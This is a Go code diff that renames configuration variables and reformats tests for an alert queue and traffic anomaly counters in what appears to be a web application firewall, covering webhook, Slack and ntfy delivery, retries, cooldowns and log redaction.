@@ -484,8 +585,13 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T)
|
|||||||
|
|
||||||
kept := len(q.Snapshot().Cooldowns)
|
kept := len(q.Snapshot().Cooldowns)
|
||||||
if kept != 0 || repeats != float64(netblocks) {
|
if kept != 0 || repeats != float64(netblocks) {
|
||||||
t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
|
t.Errorf(
|
||||||
"want 0 and %d", kept, repeats, netblocks)
|
"%d cooldowns are kept and the webhook was given %v repeats, "+
|
||||||
|
"want 0 and %d",
|
||||||
|
kept,
|
||||||
|
repeats,
|
||||||
|
netblocks,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
})
|
})
|
||||||
@@ -525,7 +631,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
wantCounts(t, q, 0, int64(len(want)), 0, 0)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) {
|
||||||
t.Errorf("process log %q names no failure", log.String())
|
t.Errorf("process log %q names no failure", log.String())
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -595,7 +701,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
|
|||||||
wantCounts(t, q, 1, 3, 0, 1)
|
wantCounts(t, q, 1, 3, 0, 1)
|
||||||
|
|
||||||
if !strings.Contains(log.String(),
|
if !strings.Contains(log.String(),
|
||||||
`"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
|
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) {
|
||||||
t.Errorf("process log %q names no alert given up", log.String())
|
t.Errorf("process log %q names no alert given up", log.String())
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -619,9 +725,15 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
|
|||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(logged,
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) ||
|
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) ||
|
||||||
strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
|
strings.Contains(
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
logged,
|
||||||
|
"alerts.example",
|
||||||
|
) || strings.Contains(logged, "team=ops") {
|
||||||
|
t.Errorf(
|
||||||
|
"process log %q names no failure, or names the URL",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -639,7 +751,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
// than the queue holds is raised: none waits, and the oldest, the
|
// than the queue holds is raised: none waits, and the oldest, the
|
||||||
// one the webhook was sent, is dropped.
|
// one the webhook was sent, is dropped.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
|
|
||||||
if n == 0 {
|
if n == 0 {
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -653,9 +767,17 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
wantCounts(t, q, 0, 0, 0, 1)
|
wantCounts(t, q, 0, 0, 0, 1)
|
||||||
|
|
||||||
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
|
||||||
if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
|
if len(waiting) != alerts.QueueSize ||
|
||||||
t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
|
waiting[0].Netblock != netblock(1) {
|
||||||
len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
|
t.Fatalf(
|
||||||
|
"%d alerts wait, the first for %s, want %d, the first for %s",
|
||||||
|
len(
|
||||||
|
waiting,
|
||||||
|
),
|
||||||
|
waiting[0].Netblock,
|
||||||
|
alerts.QueueSize,
|
||||||
|
netblock(1),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// The request is abandoned after 10 seconds, and the webhook, which
|
// The request is abandoned after 10 seconds, and the webhook, which
|
||||||
@@ -667,14 +789,22 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
|
|||||||
got := webhook.received()
|
got := webhook.received()
|
||||||
if len(got) != alerts.QueueSize+1 ||
|
if len(got) != alerts.QueueSize+1 ||
|
||||||
got[0].alert["netblock"] != netblock(0).String() {
|
got[0].alert["netblock"] != netblock(0).String() {
|
||||||
t.Fatalf("the webhook had %d requests, want %d, the first for %s",
|
t.Fatalf(
|
||||||
len(got), alerts.QueueSize+1, netblock(0))
|
"the webhook had %d requests, want %d, the first for %s",
|
||||||
|
len(got),
|
||||||
|
alerts.QueueSize+1,
|
||||||
|
netblock(0),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
for i, request := range got[1:] {
|
for i, request := range got[1:] {
|
||||||
if request.alert["netblock"] != netblock(i+1).String() {
|
if request.alert["netblock"] != netblock(i+1).String() {
|
||||||
t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
|
t.Fatalf(
|
||||||
netblock(i+1))
|
"request %d is for %v, want %s",
|
||||||
|
i+1,
|
||||||
|
request.alert["netblock"],
|
||||||
|
netblock(i+1),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -692,8 +822,12 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
|
|
||||||
// Not sent: Run is not running. The repeat is held back by the
|
// Not sent: Run is not running. The repeat is held back by the
|
||||||
// cooldown, and the file error past the hourly limit.
|
// cooldown, and the file error past the hourly limit.
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
before.Raise(
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
|
before.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
before.Raise(alerts.Alert{Event: alerts.EventFileError})
|
||||||
|
|
||||||
time.Sleep(time.Minute)
|
time.Sleep(time.Minute)
|
||||||
@@ -704,7 +838,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
// The new queue sends the alert waiting, holds back the repeat as
|
// The new queue sends the alert waiting, holds back the repeat as
|
||||||
// the cooldown still runs, and sends the summary of the hour, which
|
// the cooldown still runs, and sends the summary of the hour, which
|
||||||
// gives both repeats, as the cooldown has run out.
|
// gives both repeats, as the cooldown has run out.
|
||||||
after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
after.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
wantEvents(t, webhook, alerts.EventBan)
|
wantEvents(t, webhook, alerts.EventBan)
|
||||||
|
|
||||||
@@ -715,9 +851,13 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
|
|||||||
summary := webhook.received()[1].alert
|
summary := webhook.received()[1].alert
|
||||||
detail, _ := summary["detail"].(map[string]any)
|
detail, _ := summary["detail"].(map[string]any)
|
||||||
|
|
||||||
if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
|
if detail["count"] != float64(1) ||
|
||||||
t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
|
summary["suppressed_repeats"] != float64(2) {
|
||||||
detail["count"], summary["suppressed_repeats"])
|
t.Errorf(
|
||||||
|
"the summary counts %v alerts and %v repeats, want 1 and 2",
|
||||||
|
detail["count"],
|
||||||
|
summary["suppressed_repeats"],
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -747,7 +887,13 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
|
|||||||
|
|
||||||
for i, each := range want {
|
for i, each := range want {
|
||||||
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
|
||||||
wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
|
wantNtfyMessage(
|
||||||
|
t,
|
||||||
|
ntfy[i],
|
||||||
|
each.title,
|
||||||
|
each.priorityAndTag,
|
||||||
|
each.text,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -760,14 +906,23 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
params.WebhookURL = nil
|
params.WebhookURL = nil
|
||||||
params.MaxPerHour = 1
|
params.MaxPerHour = 1
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
|
ban := alerts.Alert{
|
||||||
|
Event: alerts.EventBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
Reason: "a ban",
|
||||||
|
}
|
||||||
|
|
||||||
// The hour's one alert, a repeat of it the cooldown holds back, and
|
// The hour's one alert, a repeat of it the cooldown holds back, and
|
||||||
// an alert past the limit; once the hour has ended, its summary,
|
// an alert past the limit; once the hour has ended, its summary,
|
||||||
// which gives the repeat, and the next alert, which gives none.
|
// which gives the repeat, and the next alert, which gives none.
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventFileError,
|
||||||
|
Reason: "a file error",
|
||||||
|
},
|
||||||
|
)
|
||||||
time.Sleep(time.Hour)
|
time.Sleep(time.Hour)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
q.Raise(ban)
|
q.Raise(ban)
|
||||||
@@ -782,12 +937,22 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
|
||||||
"past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
|
||||||
"by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
|
||||||
|
|
||||||
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
|
||||||
wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
|
wantNtfyMessage(
|
||||||
wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
|
t,
|
||||||
|
ntfy[1],
|
||||||
|
instance+": summary",
|
||||||
|
"default bar_chart",
|
||||||
|
summary,
|
||||||
|
)
|
||||||
|
wantSlackMessage(
|
||||||
|
t,
|
||||||
|
slack[2],
|
||||||
|
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
|
||||||
|
)
|
||||||
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
|
||||||
"a ban\nnetblock: 203.0.113.1/32")
|
"a ban\nnetblock: 203.0.113.1/32")
|
||||||
})
|
})
|
||||||
@@ -813,7 +978,11 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
|
|||||||
|
|
||||||
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
wantSlackMessage(t, got[0], "*app<1>: file_error*\n"+
|
||||||
"<!channel> & <https://x.example|y>")
|
"<!channel> & <https://x.example|y>")
|
||||||
wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
|
wantBodies(
|
||||||
|
t,
|
||||||
|
standIns[alerts.DestinationNtfy],
|
||||||
|
"<!channel> & <https://x.example|y>",
|
||||||
|
)
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -835,7 +1004,12 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
params.NtfyToken = tc.token
|
params.NtfyToken = tc.token
|
||||||
standIns, q := startAll(t, params)
|
standIns, q := startAll(t, params)
|
||||||
|
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
|
q.Raise(
|
||||||
|
alerts.Alert{
|
||||||
|
Event: alerts.EventBan,
|
||||||
|
Netblock: netblock(1),
|
||||||
|
},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
|
|
||||||
for destination, want := range map[string][]string{
|
for destination, want := range map[string][]string{
|
||||||
@@ -845,13 +1019,21 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
|
|||||||
} {
|
} {
|
||||||
got := standIns[destination].received()
|
got := standIns[destination].received()
|
||||||
if len(got) != 1 {
|
if len(got) != 1 {
|
||||||
t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
|
t.Fatalf(
|
||||||
|
"%s was sent %d requests, want 1",
|
||||||
|
destination,
|
||||||
|
len(got),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
authorization := got[0].header.Values("Authorization")
|
authorization := got[0].header.Values("Authorization")
|
||||||
if !slices.Equal(authorization, want) {
|
if !slices.Equal(authorization, want) {
|
||||||
t.Errorf("%s was sent Authorization %q, want %q", destination,
|
t.Errorf(
|
||||||
authorization, want)
|
"%s was sent Authorization %q, want %q",
|
||||||
|
destination,
|
||||||
|
authorization,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
@@ -870,7 +1052,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
standIns[alerts.DestinationSlack].set(hanging)
|
standIns[alerts.DestinationSlack].set(hanging)
|
||||||
|
|
||||||
for n := range 3 {
|
for n := range 3 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
@@ -885,7 +1069,9 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
wantDestinationCounts(t, q, destination, want)
|
wantDestinationCounts(t, q, destination, want)
|
||||||
}
|
}
|
||||||
|
|
||||||
if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
|
if got := standIns[alerts.DestinationSlack].received(); len(
|
||||||
|
got,
|
||||||
|
) != 1 {
|
||||||
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
t.Errorf("Slack was sent %d requests, want 1", len(got))
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -900,11 +1086,16 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
|
|||||||
alerts.Counts{Sent: 3, SendFailures: 1})
|
alerts.Counts{Sent: 3, SendFailures: 1})
|
||||||
|
|
||||||
logged := log.String()
|
logged := log.String()
|
||||||
if !strings.Contains(logged,
|
if !strings.Contains(
|
||||||
`"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
|
logged,
|
||||||
|
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
|
||||||
|
) ||
|
||||||
strings.Contains(logged, "hooks.slack.example") ||
|
strings.Contains(logged, "hooks.slack.example") ||
|
||||||
strings.Contains(logged, "T0123") {
|
strings.Contains(logged, "T0123") {
|
||||||
t.Errorf("process log %q names no failure, or names the URL", logged)
|
t.Errorf(
|
||||||
|
"process log %q names no failure, or names the URL",
|
||||||
|
logged,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -922,7 +1113,9 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
|
|||||||
// Each alert is raised once each destination has done all it can
|
// Each alert is raised once each destination has done all it can
|
||||||
// with those before it.
|
// with those before it.
|
||||||
for n := range alerts.QueueSize + 1 {
|
for n := range alerts.QueueSize + 1 {
|
||||||
q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
|
q.Raise(
|
||||||
|
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
|
||||||
|
)
|
||||||
synctest.Wait()
|
synctest.Wait()
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -1136,7 +1329,10 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
|
|||||||
// startAll returns, by destination, a stand-in that answers for each
|
// startAll returns, by destination, a stand-in that answers for each
|
||||||
// destination params sets, and a Queue that sends to them, run until the
|
// destination params sets, and a Queue that sends to them, run until the
|
||||||
// test ends.
|
// test ends.
|
||||||
func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
|
func startAll(
|
||||||
|
t *testing.T,
|
||||||
|
params alerts.Params,
|
||||||
|
) (map[string]*standIn, *alerts.Queue) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
q := alerts.New(params)
|
q := alerts.New(params)
|
||||||
@@ -1170,7 +1366,9 @@ func midnight() time.Time {
|
|||||||
|
|
||||||
// netblock returns the n-th netblock of a test, counted from 0.
|
// netblock returns the n-th netblock of a test, counted from 0.
|
||||||
func netblock(n int) netip.Prefix {
|
func netblock(n int) netip.Prefix {
|
||||||
return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
|
return netip.MustParsePrefix(
|
||||||
|
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
|
||||||
|
)
|
||||||
}
|
}
|
||||||
|
|
||||||
// roundTrip returns state once written as JSON and read back, as
|
// roundTrip returns state once written as JSON and read back, as
|
||||||
@@ -1223,12 +1421,22 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
|
|||||||
// requests to it that it counts as failed, the alerts it counts as held
|
// requests to it that it counts as failed, the alerts it counts as held
|
||||||
// back, and those it counts as dropped for the webhook.
|
// back, and those it counts as dropped for the webhook.
|
||||||
func wantCounts(
|
func wantCounts(
|
||||||
t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
|
t *testing.T,
|
||||||
|
q *alerts.Queue,
|
||||||
|
sent, sendFailures, suppressed, dropped int64,
|
||||||
) {
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
wantDestinationCounts(t, q, alerts.DestinationWebhook,
|
wantDestinationCounts(
|
||||||
alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
|
t,
|
||||||
|
q,
|
||||||
|
alerts.DestinationWebhook,
|
||||||
|
alerts.Counts{
|
||||||
|
Sent: sent,
|
||||||
|
SendFailures: sendFailures,
|
||||||
|
Dropped: dropped,
|
||||||
|
},
|
||||||
|
)
|
||||||
|
|
||||||
if q.Suppressed() != suppressed {
|
if q.Suppressed() != suppressed {
|
||||||
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
|
||||||
@@ -1254,14 +1462,16 @@ type eventMessage struct {
|
|||||||
title, priorityAndTag, text string
|
title, priorityAndTag, text string
|
||||||
}
|
}
|
||||||
|
|
||||||
// anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
|
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS
|
||||||
// names, the first in observe mode, each with its message.
|
// names, the first in observe mode, each with its message.
|
||||||
func anAlertForEachEvent() []eventMessage {
|
func anAlertForEachEvent() []eventMessage {
|
||||||
return []eventMessage{
|
return []eventMessage{
|
||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
|
||||||
Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
|
Netblock: netip.MustParsePrefix(
|
||||||
|
"203.0.113.0/24",
|
||||||
|
), Country: "DE",
|
||||||
Reason: "requests per hour over the limit of 10000",
|
Reason: "requests per hour over the limit of 10000",
|
||||||
Detail: map[string]any{"mode": "observe"},
|
Detail: map[string]any{"mode": "observe"},
|
||||||
},
|
},
|
||||||
@@ -1272,7 +1482,9 @@ func anAlertForEachEvent() []eventMessage {
|
|||||||
{
|
{
|
||||||
alerts.Alert{
|
alerts.Alert{
|
||||||
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
|
||||||
Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
|
Netblock: netip.MustParsePrefix(
|
||||||
|
"198.51.100.7/32",
|
||||||
|
), Country: "FR",
|
||||||
Reason: "matched the rule env-file",
|
Reason: "matched the rule env-file",
|
||||||
},
|
},
|
||||||
"fsn1app1/blog: permanent_ban", "high no_entry",
|
"fsn1app1/blog: permanent_ban", "high no_entry",
|
||||||
@@ -1347,18 +1559,30 @@ func wantSlackMessage(t *testing.T, request post, text string) {
|
|||||||
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
// wantNtfyMessage checks that request, one ntfy was sent, posted the
|
||||||
// message text with the title, and with the priority and the tag
|
// message text with the title, and with the priority and the tag
|
||||||
// priorityAndTag gives, with a space between them.
|
// priorityAndTag gives, with a space between them.
|
||||||
func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
|
func wantNtfyMessage(
|
||||||
|
t *testing.T,
|
||||||
|
request post,
|
||||||
|
title, priorityAndTag, text string,
|
||||||
|
) {
|
||||||
t.Helper()
|
t.Helper()
|
||||||
|
|
||||||
got := []string{
|
got := []string{
|
||||||
request.method, request.url, request.header.Get("Title"),
|
request.method, request.url, request.header.Get("Title"),
|
||||||
request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
|
request.header.Get(
|
||||||
|
"Priority",
|
||||||
|
) + " " + request.header.Get(
|
||||||
|
"Tags",
|
||||||
|
), request.body,
|
||||||
}
|
}
|
||||||
|
|
||||||
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
|
||||||
if !slices.Equal(got, want) {
|
if !slices.Equal(got, want) {
|
||||||
t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
|
t.Errorf(
|
||||||
"%q, want %q", got, want)
|
"ntfy was sent the method, URL, title, priority and tag, and text "+
|
||||||
|
"%q, want %q",
|
||||||
|
got,
|
||||||
|
want,
|
||||||
|
)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
+55
-21
@@ -28,22 +28,28 @@ const maxCounters = 20000
|
|||||||
// alerts name them.
|
// alerts name them.
|
||||||
const (
|
const (
|
||||||
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
|
||||||
// SWW_WAF_IPV6_GROUP_PREFIX.
|
// SWW_IPV6_GROUP_PREFIX.
|
||||||
ScopeClient = "client"
|
ScopeClient = "client"
|
||||||
// ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
|
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX
|
||||||
// or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
|
// or SWW_ANOMALY_NET_V6_PREFIX long.
|
||||||
ScopeNet = "net"
|
ScopeNet = "net"
|
||||||
// ScopeASN is an AS number.
|
// ScopeASN is an AS number.
|
||||||
ScopeASN = "asn"
|
ScopeASN = "asn"
|
||||||
// ScopeTotal is the whole service.
|
// ScopeTotal is the whole service.
|
||||||
ScopeTotal = "total"
|
ScopeTotal = "total"
|
||||||
// ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
|
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS.
|
||||||
ScopeWatchedNet = "watched_net"
|
ScopeWatchedNet = "watched_net"
|
||||||
)
|
)
|
||||||
|
|
||||||
// Scopes returns every scope.
|
// Scopes returns every scope.
|
||||||
func Scopes() []string {
|
func Scopes() []string {
|
||||||
return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
|
return []string{
|
||||||
|
ScopeClient,
|
||||||
|
ScopeNet,
|
||||||
|
ScopeASN,
|
||||||
|
ScopeTotal,
|
||||||
|
ScopeWatchedNet,
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// The windows a counter counts in, as the alerts name them.
|
// The windows a counter counts in, as the alerts name them.
|
||||||
@@ -62,7 +68,7 @@ type Thresholds struct {
|
|||||||
BytesPerHour int64
|
BytesPerHour int64
|
||||||
}
|
}
|
||||||
|
|
||||||
// NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
|
// NamedNetblock is a netblock SWW_WATCH_NETS names.
|
||||||
type NamedNetblock struct {
|
type NamedNetblock struct {
|
||||||
Name string
|
Name string
|
||||||
Netblock netip.Prefix
|
Netblock netip.Prefix
|
||||||
@@ -70,14 +76,14 @@ type NamedNetblock struct {
|
|||||||
|
|
||||||
// Params are what New needs.
|
// Params are what New needs.
|
||||||
type Params struct {
|
type Params struct {
|
||||||
// The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
|
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*,
|
||||||
// SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
|
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and
|
||||||
// SWW_WAF_WATCH_*.
|
// SWW_WATCH_*.
|
||||||
Client, Net, ASN, Total, Watch Thresholds
|
Client, Net, ASN, Total, Watch Thresholds
|
||||||
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
|
||||||
// client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
|
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX).
|
||||||
NetV4Prefix, NetV6Prefix int
|
NetV4Prefix, NetV6Prefix int
|
||||||
// NamedNetblocks are SWW_WAF_WATCH_NETS.
|
// NamedNetblocks are SWW_WATCH_NETS.
|
||||||
NamedNetblocks []NamedNetblock
|
NamedNetblocks []NamedNetblock
|
||||||
// Alerts receive the anomaly alerts.
|
// Alerts receive the anomaly alerts.
|
||||||
Alerts *alerts.Queue
|
Alerts *alerts.Queue
|
||||||
@@ -107,13 +113,13 @@ type Request struct {
|
|||||||
Host string
|
Host string
|
||||||
// Client is the client's address, and ClientGroup the client it is
|
// Client is the client's address, and ClientGroup the client it is
|
||||||
// counted as: its IPv4 address, or the IPv6 netblock of
|
// counted as: its IPv4 address, or the IPv6 netblock of
|
||||||
// SWW_WAF_IPV6_GROUP_PREFIX its address is in.
|
// SWW_IPV6_GROUP_PREFIX its address is in.
|
||||||
Client netip.Addr
|
Client netip.Addr
|
||||||
ClientGroup netip.Prefix
|
ClientGroup netip.Prefix
|
||||||
// ASN, ASName and Country are the client's as looked up, each "" when
|
// ASN, ASName and Country are the client's as looked up, each "" when
|
||||||
// unknown.
|
// unknown.
|
||||||
ASN, ASName, Country string
|
ASN, ASName, Country string
|
||||||
// Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
|
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them.
|
||||||
Bytes int64
|
Bytes int64
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -191,8 +197,12 @@ func (c *Counters) Snapshot() []Counter {
|
|||||||
c.mu.Unlock()
|
c.mu.Unlock()
|
||||||
|
|
||||||
slices.SortFunc(counters, func(a, b Counter) int {
|
slices.SortFunc(counters, func(a, b Counter) int {
|
||||||
return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
|
return cmp.Or(
|
||||||
cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
|
cmp.Compare(a.Scope, b.Scope),
|
||||||
|
a.Netblock.Compare(b.Netblock),
|
||||||
|
